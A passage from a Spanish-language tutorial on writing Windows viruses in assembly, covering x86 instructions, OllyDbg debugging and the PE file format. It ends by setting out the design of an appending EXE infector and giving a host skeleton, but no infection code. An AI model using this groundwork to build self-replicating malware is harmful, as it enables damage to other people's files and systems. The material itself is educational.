Ahí vemos sobre el costado izquierdo los opcodes y a su derecha los mnemónicos de las instrucciones (ej: PUSH 40 se traduce como 6A 40). El código de operación (opcode) es un grupo de valores de más o menos largo según la instrucción, y el mnemónico es el nombre de la instrucción como lo vemos desde assembler, y representa una descripción de la misma. Veamos algunas: nop (No Operation): este comando literalmente no hace nada, su utilidad es para rellenar huecos en el código o para ocupar ciclos del procesador. mov (Move): esta instrucción tiene dos operandos, y lo que hace es copiar el origen (representado en segundo lugar) en el de destino (en primer lugar). Por ejemplo si ponemos: mov eax, 012h Lo que estamos haciendo es copiar el valor hexadecimal 012 dentro del registro EAX. Podemos copiar también dos registros, por ej: mov eax, ebx O una dirección de memoria a un registro y viceversa, por ej: mov eax, [402010] Para estos casos utilizamos los corchetes, los cuales indican que lo que queremos copiar no es el valor 402010 sino lo que está contenido en esa zona de memoria.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 21

Hagamos una aclaración, existen dos formas de almacenar y recuperar información guardada en memoria, denominadas "Little Endian" y "Big Endian". Digamos que el Big Endian es más ‘natural’. Los procesadores Intel y compatibles utilizan "Little Endian", lo que significa que el byte de menor peso se almacena en la dirección más baja de memoria y el byte de mayor peso en la más alta. Por ejemplo si queremos guardar el valor 12 34 en memoria este se almacenaría como 34 12.Veamos esto un poco mejor en Ollydbg. Abramos cualquier programa y sobre el código presionemos la barra espaciadora, esto nos da la posibilidad de cambiar el código directamente en memoria, y escribamos ‘mov dword ptr [403000], 12345678’:

Presionemos ‘Assemble’ y luego ‘Cancel’ para volver al código. Vemos que nos modificó el mismo y para que el código quede equilibrado rellenó el resto con instrucciones nop. Antes de ejecutarlo veamos en el dump la dirección a la que estamos apuntando con este mov, o sea la 403000:

Ahora presionemos F8 para que ejecute esa instrucción y luego se detenga. Veamos ahora el dump y notemos que lo que nosotros enviamos a memoria se almacenó pero en orden inverso, en grupos de 8 bits.

Recordemos que siempre vemos la información byte a byte, y en hexadecimal, por eso ocupan 2 lugares (máximo valor = 255d = FFh) O sea que en vez de guardar 12345678, se guardó 78 56 34 12. De todas formas si luego lo volvemos a pasar esto a un registro nos va a quedar nuevamente ordenado ya que vuelve a acceder a la memoria en la misma forma. Volvamos al código y parados sobre la segunda línea presionemos la barra espaciadora y ensamblemos ‘mov ebx, dword ptr [403000]’. Si lo ejecutamos con F8 y luego vemos el registro EBX, vemos que queda ordenado:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 22

Notemos algo muy útil del Olly, siempre que se modifique algo, lo muestra resaltado con rojo, tanto en los registros como en memoria, los flags o el código. La instrucción ‘dword ptr’ que utilizamos indica que lo que queremos es un double word, también puede ser ‘byte ptr’ o ‘word ptr’. El comando mov tiene algunas variantes como MOVSD, MOVSW, MOVZX, etc. pero no quiero que esto se alargue demasiado. xchg (Exchange): intercambia los contenidos de los dos operandos. inc (Increment) / dec (Decrement): incrementan y decrementan respectivamente el valor indicado en el operando. add (Add): suma los contenidos de sus dos operandos y coloca el resultado en el operando representado en primer lugar. adc (Add with Carry): igual que la anterior, pero suma también el valor del flag de acarreo. Se utiliza para sumar valores mayores de 32 bits. sub (Subtract): esta instrucción resta el contenido del segundo operando del primero, colocando el resultado en el primer operando. sbb (Integer Subtraction with Borrow): esta instrucción es una resta en la que se tiene en cuenta el valor del flag de acarreo. mul (Unsigned Multiply) / imul (Signed Multiply): estas instrucciones se utilizan para multiplicar dos valores. La diferencia entre las dos, es que en la primera no se tiene en cuenta el signo de los factores, mientras que en la segunda sí. div (Unsigned Divide) / idiv (Signed Divide): Divide dos valores, y al igual que para mul hay dos instrucciones: una considera el signo, la otra no. push (Push Onto the Stack): esta instrucción resta del registro ESP la longitud de su operando que puede ser de tipo word o double word (4 u 8 bytes), y a continuación lo coloca en la pila. Tiene unas variantes como pushad y pushf para guardar los valores de los registros y los valores de los flags. pop (Pop a Value from the Stack): es la inversa de push, es decir que incrementa el registro ESP y retira el valor disponible de la pila y lo coloca donde indica el operando. and (Logical AND) / or (Logical Inclusive OR) / xor (Logical Exclusive OR) / not (Negation): realiza estas operaciones lógicas bit a bit entre los operandos. cmp (Compare): esta instrucción compara dos valores. Generalmente se utiliza acompañada de un salto condicional de acuerdo al resultado de esa comparación. jmp (Inconditional Jump): indica un salto que no está sujeto a ninguna condición, es decir que se ejecuta siempre.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 23

jz / je / jne / etc. (Conditional Jump): estas instrucciones se ejecutan condicionalmente de acuerdo a los valores de los flags. call (Call Procedure): efectúa el salto al punto de inicio de una subrutina. Además de esto, coloca en la pila la dirección de la instrucción siguiente, que será el punto de regreso después de ejecutarse la misma. ret (Return from Procedure): complementa a la anterior y sirve para regresar a la instrucción siguiente a la que llamó a la subrutina. Para ello, efectúa un salto a la dirección contenida en la pila, quedando ésta como estaba antes del call. loop (Loop According to ECX Counter): esta instrucción efectúa un bucle o loop un número de veces determinado por el registro ECX. Lo que hace esta instrucción es decrementar ECX, si llegó a cero sale del bucle, sino salta a la dirección indicada en la instrucción. rep (Repeat): se utiliza en combinación con otra instrucción, lo que hace es repetir la misma la cantidad de veces indicada por ECX. Se utiliza por ejemplo con movsb, lodsw, etc. Instrucciones de flags clc (Clear Carry Flag): pone a cero el flag de acarreo (CF). stc (Set Carry Flag): pone a uno el flag de acarreo (CF). cld (Clear Direction Flag): pone a cero el flag de dirección (DF). std (Set Direction Flag): pone a uno el flag de dirección (DF). cli (Clear Interrupt Flag): pone a cero el flag de interrupción (IF). sti (Set Interrupt Flag): pone en uno el flag de interrupción (IF). Hay más, muchas más, pero no quiero que se extienda demasiado. Ejecutemos el Radasm y abramos el código que vimos en el capítulo anterior, vamos a modificar algunas cosas para ver algo de Olly y algo de assembler. Agreguemos en la sección .data unas variables para ver como se usan, para esto escribamos: valor1 dd 0 valor2 dd 0 Con esto lo que hacemos es crear dos variables de tipo double word inicializadas a cero. Recordemos que estas variables lo único que hacen es referenciar a una dirección de memoria, cuando compilemos este programa no vamos a encontrar ‘valor1’ ni ‘valor2’.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 24

Luego en la sección .code escribamos algunas instrucciones para probar, por ejemplo: mov eax, 0 mov valor1, 1234h mov valor2, 5678h add eax, dword ptr valor1 mov dword ptr valor2, eax Lo que hacemos acá es poner eax a cero, luego guardamos dos valores en las variables declaradas y por último sumamos a eax el valor de eax + valor1 y guardamos este resultado en la variable ‘valor2’. Veámoslo en Olly, compilémoslo, generemos el ejecutable y luego abrámoslo en Ollydbg:

Lo primero que vemos es que reemplazó las variables ‘valor1’ y ‘valor2’ por direcciones de memoria, las cuales están separadas por 4 bytes ya que las variables las declaramos como double word (403027 – 40302B). Ejecutemos línea a línea para ver como va cambiando la memoria en el dump y los registros (en este caso EAX). Para ejecutar paso a paso en Ollydbg se utiliza F7 y F8, la diferencia es que F7 entra en las subrutinas si encuentra alguna (call’s) y F8 la ejecuta completa sin entrar en la misma. Por ejemplo si cuando llegamos a la llamada a la API MessageBoxA y presionamos F7 un par de veces vemos que estamos en una dirección de memoria fuera de nuestro programa, en este caso perteneciente a user32.dll, esto lo podemos ver en la ventana del Olly:

Si en vez de estas teclas, presionamos F9 ejecuta todo el código hasta el final o hasta que encuentra un breakpoint. Veamos ahora la forma de poner breakpoints en nuestros programas, los cuales detienen la ejecución y nos deja parados en el debugger. BP comunes: se colocan directamente en el código presionando F2, y se sacan de la misma forma. Tenemos que tener cuidado con estos BP (breakpoints) ya que –aunque no lo veamos- modifican el código en memoria por un valor 0CCh. Veamos esto en Olly, reiniciemos la ejecución del programa presionando Ctrl-F2 o cerrándolo y volviéndolo a abrir y bajemos hasta la línea que dice push 40. Sobre esta línea pongamos un BP con

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 25

F2, vemos que se pone en rojo para indicar el mismo. Ahora parados sobre la primera línea presionemos la barra espaciadora y ensamblemos ‘mov eax, [401024]’. Lo que estamos haciendo es mover el contenido de la memoria donde se encuentra ese push al registro eax.

Si todo estuviera bien debería quedar EAX = 1A68406A (recordemos que lo coloca en sentido inverso), pero queda EAX = 1A6840CC, reemplazó 6A por CC. BPM: son breakpoints pero en memoria, pueden ser de dos tipos: ON ACCESS: para cuando lee o se ejecuta esa sección de memoria ON WRITE: para cuando escribe algo ahí En Ollydbg, parados sobre el dump marquemos con el cursor una región de memoria y sobre la misma presionemos el botón derecho del mouse y seleccionemos la opción ‘Breakpoint’ y ahí vemos las opciones que les comentaba.

También vemos acá los hardware breakpoints, los cuales se guardan directamente en unos registros especiales de la CPU, y no modifican el código, pero solo podemos colocar 4, y pueden ser de tres tipos: ON EXECUTION ON WRITE: pueden abarcar solamente 1, 2 ó 4 bytes ON ACCESS

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 26

También tenemos breakpoint condicionales, BP Condicional Log y Message Breakpoints, pero no los voy a comentar por que esto está quedando demasiado extenso.

Capítulo 4

Formato de archivos PE (ejecutables portables)

Bien, ahora vamos a ver un tema que para el que no lo conoce se puede hacer un poco pesado, pero es básico para poder desarrollar un virus. La idea es no profundizar demasiado, sino darle un vistazo a lo que nosotros vamos a necesitar para nuestro desarrollo y dejarles algunas referencias a muy buenos documentos que lo tratan en profundidad. Bien, veamos primero que es esto de ejecutable portable, el PE es un formato de archivos ejecutables, OCX’s, DLL’s, etc. usados en versiones de Windows de 32 bits y también en las nuevas de 64 bits. Lo de ‘portable’ se refiere a que son archivos compatibles para todos los sistemas operativos Windows de 32 bits, y ahora por extensión a los de 64 bits. Este formato en realidad no es una idea propia de Windows, sino que es una versión modificada del formato COFF utilizado en Unix. Básicamente se trata de estructuras de datos que encapsulan la información necesaria para que el loader del SO pueda manejar y ejecutar el código. Dentro de este formato se incluyen la carga de DLL’s necesarias (como vimos anteriormente con kernel32.dll por ejemplo), exportación de funciones, recursos necesarios para el funcionamiento del programa, etc. Empecemos a ver de que va esto, básicamente a un archivo con formato PE en formato PE lo podemos dividir en:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 27

Cabecera DOS Es el antiguo encabezado de los .exe del DOS (16 bits) a los que se le agregó información para poder utilizarlos en 32 bits. Veamos como está compuesta:

0000 Word e_magic 'MZ'

0002 Word e_cblp Número de bytes en la última página o bloque de 512 bytes del ejecutable

0004 Word e_cp Número de todas las páginas de 512 bytes en el ejecutable (incluyendo la última)

0006 Word e_crlc Número de entradas de la tabla de relocalizaciones

0008 Word e_cparhdr Tamaño del encabezado en parágrafos (16 bytes)

000A Word e_minalloc Tamaño mínimo de los parágrafos de memoria localizada por encima del final del programa ya cargado en RAM

000C Word e_maxalloc Tamaño máximo de los parágrafos de memoria localizada por encima del final del programa ya cargado en RAM

000E Word e_ss SS (Stack Segment) relativo al inicio del ejecutable

0010 Word e_sp SP (Stack Pointer) inicial

0012 Word e_csum Checksum o 0. Valor de verificación del ejecutable

0014 Word e_ip IP relativo al inicio del ejecutable

0016 Word e_cs CS del ejecutable (CS:IP Entry point = Punto de entrada)

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 28

0018 Word e_lfarlc Desplazamiento (offset) de la tabla de relocalización

001A Word e_ovno Número de traslape (0 = programa principal)

001C 4Word e_res Tabla de relocalización con un número variable de reubicación de elementos.

0024 Word e_oemid Identificador OEM

0026 Word e_oeminfo Información OEM

0028 10Word e_res2 Reservado

003C Dword e_lfanew Desplazamiento del nuevo encabezado EXE desde el inicio del archivo o 0 si es un archivo MZ EXE

En esta tabla vemos: el desplazamiento del campo desde el inicio de la cabecera (en hexadecimal), el tamaño, el nombre y una breve descripción del mismo. Básicamente esta cabecera sirve para mostrar un mensaje del tipo “Este programa no corre en modo DOS” si lo ejecutamos en ese entorno y además nos da el desplazamiento de la próxima cabecera (campo e_lfanew, desplazamiento 03Ch). Abramos en Ollydbg el archivo que hicimos en el capítulo 2 y vayamos a ‘Show Memory window (M)’:

Veremos la memoria ocupada por nuestro programa, ahora hagamos doble clic donde dice ‘PE header’:

Y ahí veremos esta estructura que nombramos anteriormente.

Estas 4 columnas indican lo siguiente:

� primera: dirección de memoria � segunda: bytes almacenados (recordemos que se guardan en orden inverso) � tercera: tipo de dato y valor, por ej. DW 0090, lo que indica que es un double

word con valor 090h � cuarta: referencia del campo con su valor, y en algunos casos se indica

también el valor en decimal entre paréntesis, ej: DOS_PartPag = 90 (144.)

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 29

Bien, esta cabecera empieza con dos bytes (‘MZ’) que indica que es un archivo ejecutable, esto es en honor a Mark Zbikowski, un programador de Microsoft diseñador del formato de los ejecutables DOS. Es importante que hagamos una aclaración, cuando hablemos de direcciones en realidad haremos referencia a ‘direcciones virtuales relativas’ (RVA: Relative virtual address). Cuando un archivo es cargado en memoria (por nosotros o por el loader del SO), este se posiciona a partir de una determinada dirección de memoria, y el resto de las direcciones se referencian en relación a esa, a esta dirección se la denomina ‘dirección base’. Por ejemplo nuestro archivo ha sido cargado a partir de la dirección 400000h, esto lo podemos ver si subimos en esta ventana hasta el inicio de la misma:

Entonces, si queremos buscar la dirección de la cabecera PE que está en el desplazamiento 03Ch, en realidad la vamos a encontrar en 40003Ch, o sea: Dirección real = Base en memoria + RVA Dirección real = 400000h + 03Ch = 40003Ch Bajemos ahora hasta ese desplazamiento:

Vemos que el Olly lo reconoce como el desplazamiento (offset) a la próxima cabecera, y tiene el valor 0Bh, entonces (como es una RVA), la dirección real será 4000B0h. Si vamos ahí nos encontramos con la próxima cabecera: la cabecera PE. Cabecera PE Esta es la primer cabecera que encontramos en 32 bits, la cual tiene un tamaño de 18h bytes. Veamos los campos que contiene:

0000 DWord PE Signature Tipo de ejecutable (‘PE’, ‘NE’, ‘LE’, etc.)

0004 Word Machine Tipo de CPU

0006 Word NumberOfSections Número de secciones en la tabla de secciones

0008 Dword TimeDateStamp Fecha

000C Dword PointerToSymbolTable Puntero a la tabla de símbolos

0010 Dword NumberOfSymbols Números de símbolos

0014 Word SizeOfOptionalHeader Tamaño del encabezado opcional

0016 Word Characteristics Características: 0 - Imagen del Programa 2 - EXE 200 - Dirección fijada 2000 - Librería

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 30

Sigámoslo también en Olly:

Veamos los campos más importantes: � PE Signature: identifica el tipo de ejecutable, si es PE (W32), NE (W16), etc. � NumberOfSections: importante, indica la cantidad de secciones que tiene el archivo,

en este caso son 3 (.text, .rdata y .data) � TimeDateStamp: indica la fecha de creación del archivo, expresado como la cantidad

de segundos desde la hora 00:00 del primero de enero de 1970 � SizeOfOptionalHeader: indica el tamaño de la próxima cabecera (Optional Header),

ya que la misma no tiene un tamaño fijo � Characteristics: es un flag que da cierta información acerca del archivo Cabecera PE opcional Este encabezado se llama ‘opcional’, pero en realidad solo es opcional para algunos archivos como los archivos objetos, para el resto de los ejecutables tiene información muy importante, veamos:

0000 Word Magic Número mágico

0002 Word LinkerVersion Versión del enlazador (LINKER)

0004 Dword SizeOfCode Tamaño de la sección de código

0008 Dword SizeOfInitializedData Tamaño de la sección de datos inicializados

000C Dword SizeOfUninitializedData Tamaño de la sección de datos no inicializados

0010 Dword AddressOfEntryPoint RVA del Entry point

0014 Dword BaseOfCode Base de la sección de código

0018 Dword BaseOfData Base de la sección de datos

000C Dword ImageBase Base de la Imagen - inicio de la imagen en la

memoria virtual

0020 Dword SectionAlignment Alineamiento de las secciones (potencia de 2

512-256M)

0024 Dword FileAlignment Alineamiento del archivo (potencia de 2 512-

64k)

0028 Dword OperatingSystemVersion Versión requerida de sistema operativo

002C Dword ImageVersion Versión de la imagen

0030 Dword SubsystemVersion Versión del subsistema

0034 Dword Reserved1 Versión del W32

0038 Dword SizeOfImage Tamaño de la imagen: espacio reservado en

memoria para el archivo.

003C Dword SizeOfHeaders Tamaño del encabezado

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 31

0040 Dword CheckSum Suma de chequeo del archivo

0044 Word Subsystem Subsistema: 0 - Desconocido 1 - Nativo

2 - Win GUI 3 - Carácter Win

0046 Word DllCharacteristics Características del DLL

0048 Dword SizeOfStackReserve Tamaño de la memoria reservada para la pila

(stack)

004C Dword SizeOfStackCommit Memoria comprometida para la pila

0050 Dword SizeOfHeapReserve Memoria reservada para el montículo (heap)

0054 Dword SizeOfHeapCommit Memoria comprometida para el montículo

(heap)

0058 Dword LoaderFlags Flags de carga

005C Dword NumberOfRvaAndSizes Número de RVAs y tamaños (entradas en el

directorio de datos)

En Ollydbg la encontramos a continuación de la cabecera anterior:

Veamos los campos más importantes: � Magic: determina si es un archivo ejecutable PE32 (010Bh), PE32+ (020h), etc. � SizeOfCode: indica el tamaño de la sección de código, o la suma de todas las

secciones de código si hay más de una. Este valor está alineado, ya veremos esto de los alineamientos con mas detalle

� SizeOfInitializedData: el tamaño de la sección de datos inicializados � SizeOfUninitializedData: el tamaño de la sección que contiene datos no inicializados � AddressOfEntryPoint: muy importante, es una RVA que indica la dirección a partir de

la cual comenzará la ejecución del programa, si a la misma le sumamos la dirección a partir de la cual será cargado el programa en memoria (campo ImageBase) obtenemos el punto de entrada de nuestro programa. Si recordamos cuando cargamos el programa en Olly, el mismo nos deja parado ahí:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 32

� BaseOfCode: RVA a partir de la cual se cargará en memoria la sección de código � BaseOfData: RVA a partir de la cual encontraremos en memoria la sección de datos � ImageBase: importantísimo, a partir de esta dirección se cargará el programa en

memoria, el resto de las direcciones se expresan en relación a esta. Por defecto para Windows NT, Windows 2000, Windows XP, Windows 95, Windows 98 y Windows Me es 400000h

� SectionAlignment: valor que indica el alineamiento de las secciones cuando son

cargadas en memoria (valor hacia el cual se redondeará). El valor por defecto es el tamaño de página para la arquitectura del SO, en este caso es 1000h (4096d)

� FileAlignment: indica el alineamiento utilizado para redondear los datos grabados en

el disco (no en memoria). Si el tamaño de los datos es menor, el linker lo rellena con ceros (zeropad ☺). En este caso es 200h (512d)

� SizeOfImage: indica el tamaño (en bytes) de la imagen del archivo en memoria,

incluyendo las cabeceras. Debe ser múltiplo de SectionAlignment � SizeOfHeaders: indica el tamaño de las cabeceras mas las tablas de secciones, debe

ser múltiplo de FileAlignment � CheckSum: suma de comprobación del archivo � Subsystem: indica el subsistema requerido para ejecutar el archivo � NumberOfRvaAndSizes: indica el número entradas en el directorio de datos, ya que

la cantidad de estas es variable. En este caso tenemos 10h (16d). Las entradas del directorio están compuestas por un par de valores: una RVA a partir de la cual comienza (address) más el tamaño de la misma (size). En Olly lo podemos ver como pares de valores de tamaño double word:

Tablas de secciones Luego de la cabecera PE opcional encontramos el detalle de las secciones que componen nuestro programa, a esto se lo denomina ‘tabla de secciones’. Esta tabla está compuesta por ‘entradas’, las cuales se encuentran una a continuación de la otra y cada una ocupa 28h bytes. Estas entradas contienen el detalle de cada sección. Recordemos que en la cabecera PE teníamos un campo que indicaba la cantidad de secciones de nuestro programa (NumberOfSections), o sea que teniendo en cuenta este

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 33

dato podemos realizar un programa que vaya leyendo cada 28h bytes y así ir obteniendo el detalle de todas las secciones de nuestro programa (esto lo haremos luego en nuestro virus). Cada entrada de esta tabla está compuesta por los siguientes campos:

0000 8Bytes Name El nombre de la sección, contenido en un espacio de 8 bytes

0008 Dword VirtualSize Tamaño virtual de la sección

000C Dword VirtualAddress RVA de la sección

0010 Dword SizeOfRawData Tamaño de la sección en el disco tras ser redondeada por el alignment

0014 Dword PointerToRawData Offset de la sección en el fichero en disco (si es cero, no existe y es creada cuando se ejecuta)

0018 Dword PointerToRelocations Puntero para relocalizaciones

001C Dword PointerToLinenumbers Relación entre números de línea y código (para debug)

0020 Word NumberOfRelocations Número de reubicaciones

0022 Word NumberOfLinenumbers Numero de líneas (relacionado con 01Ch)

0024 Dword Characteristics Características de la sección

Veamos esto en Ollydbg:

Acá vemos bien diferenciadas las tres secciones que componen nuestro programa: .text, .rdata y .data. Antes de ver los campos de esta estructura hagamos una aclaración, siempre que digamos virtual nos estaremos refiriendo a memoria y siempre que digamos raw nos referiremos a la información en el disco, esto sirve para diferenciar lo que referencia al programa estático en disco y su imagen en memoria cuando es cargado por el loader para su ejecución.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 34

Otra cosa, los campos que veremos ahora tienen un significado muy distinto si nos referimos a ejecutables o a archivos objetos, como a nosotros nos interesa el primer caso haremos referencia a los campos desde esa visión. Ahora si, veamos los campos más importantes: � Name: indica el nombre de la sección, con un tamaño máximo de 8 bytes (no

necesariamente debe comenzar con un punto como en este caso ni en todos los programas se llaman igual)

� VirtualSize: tamaño total de la sección cuando esta es cargada en memoria, si este

valor es mayor que el campo SizeOfRawData (tamaño en disco), el resto se rellena con ceros (zeropad)

� VirtualAddress: RVA a partir de la cual será cargada esta sección en memoria � SizeOfRawData: indica el tamaño de esta sección en disco, debe ser múltiplo de

FileAlignment (campo de la PE opcional). Si la sección contiene solo datos no inicializados, este campo será cero ya que no ocupan lugar en disco, solo en memoria cuando el programa es cargado

� PointerToRawData: indica el comienzo de esta sección en el archivo de disco, y

también debe ser múltiplo de FileAlignment. Al igual que el campo anterior, si la sección solamente contiene datos no inicializados este campo será cero

� Characteristics: indica las características de la sección de acuerdo a la siguiente

tabla:

00000020 Contiene código ejecutable

00000040 Datos inicializados

00000080 Datos no inicializados

04000000 Sección no cacheable

08000000 Sección no paginable

10000000 Sección compartida en memoria

20000000 Ejecutable

40000000 Se puede leer

80000000 Se puede escribir en la sección

Estos valores se pueden combinar para darle a la sección varias características simplemente sumándolos, veamos un ejemplo:

Esta sección tiene como características el valor C0000040 y al lado vemos que el Ollydbg nos indica que contiene datos inicializados, y es de lectura y escritura, entonces

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 35

sumemos estas 3 características de acuerdo a la tabla anterior y veamos que obtenemos ese valor:

00000040 Datos inicializados 40000000 Se puede leer 80000000 Se puede escribir en la sección

------------- C0000040 (Valor que muestra el Ollydbg)

Es muy importante que nos quede bien clara la diferencia entre los datos que componen el archivo en disco de su imagen en memoria, ya que es fundamental para cuando veamos como el virus realiza una infección. Veamos un pequeño ejemplo. Lo que vamos a hacer es ubicar la sección .data en memoria y en disco, para eso tenemos que tener en cuenta dos campos: VirtualAddress (indica su posición en memoria) y PointerToRawData (indica su posición en el disco). Veamos cuanto valen esos campos para esta sección: VirtualAddress: 3000h PointerToRawData: 800h Veamos primero en memoria en el Ollydbg, para eso presionemos sobre ‘Show memory window (M)’:

Y vemos en la posición 403000 que realmente ahí empieza esta sección (.data):

Hagamos doble click sobre la misma para ver su contenido, para luego comparar los datos con lo que veremos en el archivo de disco:

Ahora para ver los datos en disco vamos a usar un sencillo editor hexadecimal, que se llama HEdit, también puede ser cualquier otro. No requiere instalación, así que simplemente lo ejecutamos y listo. Abramos el programa y vayamos a ‘File –> Open...’

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 36

Busquemos y abramos el mismo programa que tenemos cargado en el Olly. Vemos que empieza con los caracteres ‘MZ’ que indican el inicio de la cabecera DOS, así podríamos recorrer el resto de los campos e ir comparando con lo que vemos en el Ollydbg. Lo que vamos a hacer ahora es ubicar la sección .data en este archivo, para eso tengo que ir a la dirección indicada por PointerToRawData, o sea 800h. Para hacer esto presiono Ctrl-G y coloco la dirección, ojo que para poner números en hexa en este programa les debo anteponer 0x, o sea que debo ingresar 0x800, y luego le damos ‘OK’.

Y vemos que coincide con los datos que tenemos cargados en memoria:

Todo esto que vimos podemos verlo también con algún editor de ejecutables, como por ejemplo PETools. Ejecutemos el PETools (tampoco requiere instalación) y presionemos sobre la opción ‘Tools -> PE Editor’ y busquemos el mismo archivo que estamos utilizando:

Nos muestra la información de la cabecera DOS, donde podemos comparar con los valores con lo que vemos en Ollydbg y en HEdit.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 37

Si presionamos sobre ‘File Header’, ‘Optional Header’, ‘Sections’ y ‘Directories’ vamos a ver el resto de las partes que componen este ejecutable.

Bueno, eso es todo por ahora. Es necesario familiarizarse muy bien con el formato PE, por lo que recomiendo probar con varios archivos, tanto en Ollydbg como en HEdit y PETools, probando con .exe como también con otros tipos de ejecutables como .dll.

Capítulo 5

Comenzando la programación del virus / Delta Offset

Bueno, por fin vamos a empezar con la programación del virus, pero antes vamos a ver las características generales que va a tener el mismo: � Infector de EXE’s � Postpending: se ubicará al final del archivo infectado (mas exactamente al final de la

última sección) � Infectará solo dos archivos por ejecución (configurable desde el código) � Solo se va limitar a archivos ubicados en el mismo directorio (para tenerlo mejor

controlado ☺) � Como marca de infección colocaremos los caracteres “zero” (o los que cada uno elija)

en el desplazamiento 04Ch de la cabecera PE Como verán, la idea es hacer un virus ‘relativamente’ sencillo para poder aprender las cosas que hay que tener en cuenta al programar uno, además puede servir como base para que cada uno comience a escribir sus propios especimenes. Aclaro que en la programación prioricé la claridad por sobre la eficiencia o la eficacia del virus, por lo que creo que va a quedar bastante claro el código pero muy poco optimizado. Será tares de cada uno trabajar ese aspecto. Para la primera generación del virus lo que vamos a hacer es crear un host falso que lo albergue para así poder ejecutarlo. Comencemos, para eso entremos al RadASM y vayamos a ‘Archivo -> Nuevo Proyecto’:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 38

Es importante hacer un proyecto, no crear directamente un archivo .asm, ya vamos a ver por que. Elegimos la opción ‘Win32 App (no res)’ y le damos el nombre y la descripción que queramos. Además debemos elegir la carpeta donde vamos a crear el proyecto, yo lo puse en ‘C:\Laboratorio’:

Presionamos ‘Next >’ dos veces y llegamos a una pantalla que pregunta las carpetas y archivos a crear, solo dejamos marcado lo que dice ‘Asm’:

Le damos dos veces más ‘Next >’ y luego ‘Finish’, y ya vamos a tener creado nuestro proyecto. Esto nos va a crear la carpeta: ‘C:\Laboratorio\virus’ (ya que le puse ese nombre al proyecto), y dentro de la misma encontraremos dos archivos: virus.asm (nuestro virus) y virus.rap (proyecto de RadASM). Recordemos abrir siempre el proyecto, nunca abramos directamente el archivo ‘virus.asm’.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 39

Dentro del proyecto, en la ventana que dice ‘Project’, le damos click sobre ‘virus.asm’ para editarlo:

Lo que vamos a hacer es copiar el primer programa que hicimos para trabajar sobre él, lo único que le modifiqué es el mensaje que muestra y además creé un espacio donde vamos a albergar el código del virus: --------------------------------------------------------------------------------------------------- .386 .model flat, stdcall option casemap:none include windows.inc include user32.inc include kernel32.inc includelib user32.lib includelib kernel32.lib .data mensaje db "Win32.Zero", 10, 10 db "Host de prueba para contener el Virus", 10, 10 db "coded by zeroPad (2007)", 0 titulo db "[Win32.Zero v0.1]",0 .code codigo: iniciovir: ; ----------------------------------------------------------------- ; acá va a ir nuestro virus --------------------------------------- ; ----------------------------------------------------------------- jmp host ; salto al falso host finvir: host: push 0 push offset titulo push offset mensaje push 0 call MessageBox

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 40

push 0 call ExitProcess end codigo --------------------------------------------------------------------------------------------------- Compilémoslo y ejecutémoslo para ver que hasta acá venimos bien. Si queremos ejecutarlo en Ollydbg directamente desde RadASM, lo podemos hacer presionando ‘Ctrl-D’. Como hemos visto anteriormente, cuando creamos un programa se generan varias secciones, en este caso tres: una para almacenar los datos del programa, una para la sección de código y otra para contener el detalle de las funciones importadas. En el caso de un virus, debemos juntar todo lo que necesitamos en un solo bloque, que va a ser lo que vamos a copiar cuando infectemos un archivo. O sea que vamos a mezclar datos + código en una misma sección, pero esto tiene un pequeño problema, que veremos a continuación. Dentro del espacio reservado para el virus que dejamos en el código anterior escribamos lo siguiente: --------------------------------------------------------------------------------------------------- iniciovir: mov variable, 10h jmp host ; salto al falso host variable dd 0 finvir: --------------------------------------------------------------------------------------------------- Lo que estamos haciendo es declarar una variable dentro del código (totalmente permitido), y desde el código le estamos moviendo un valor (10h) a la misma. Tengamos cuidado de colocar el jmp al host antes de declarar la variable, sino el programa va a intentar ejecutar el código de la variable y va a dar error. Bien, ahora compilemos y ejecutémoslo paso a paso dentro del Ollydbg.

Vemos que lo primero que tratará de hacer es mover el valor 10h a la dirección 40100C. Si ejecutamos esta línea con F8 vemos que nos da un error:

¿Por qué pasa esto? Muy sencillo, por que el compilador les da por defecto distintos permisos a las secciones como vimos en el capítulo anterior, y le otorga permisos de

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 41

lectura y escritura a la sección de datos, pero solo permisos de lectura a la sección de código. Si vamos ‘Show Memory window’ (M) y vemos dentro de la cabecera PE (PE header) el detalle de las secciones, vemos que la que corresponde al código (.text) tiene permisos de lectura, pero no de escritura:

Reiniciemos el Ollydbg (presionado Ctrl-F2), y antes de ejecutarlo nuevamente le damos manualmente permisos de escritura a la sección, para esto vamos a ‘Show Memory window’ (M) y nos paramos sobre la sección .text y presionamos el botón derecho del mouse y seleccionamos: ‘Set access -> Full access’:

Ahora sí, volvemos al código y presionamos F8 para ejecutar paso a paso, y vemos que ya no da problemas, y vemos que carga el valor (010h) en el espacio de memoria:

Ahora vamos a ver como hacemos esto desde el RadASM para que no tengamos que modificarlo a mano. Volvemos a RadASM donde tenemos el proyecto abierto y vamos a ‘Proyecto -> Opciones de Proyecto’, y donde dice Link debemos agregarle el comando para que le de permisos de lectura, ejecución y escritura (REW) a la sección .text. Si esto lo hiciéramos desde la línea de comandos habría que agregarle: /SECTION:.text,REW

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 42

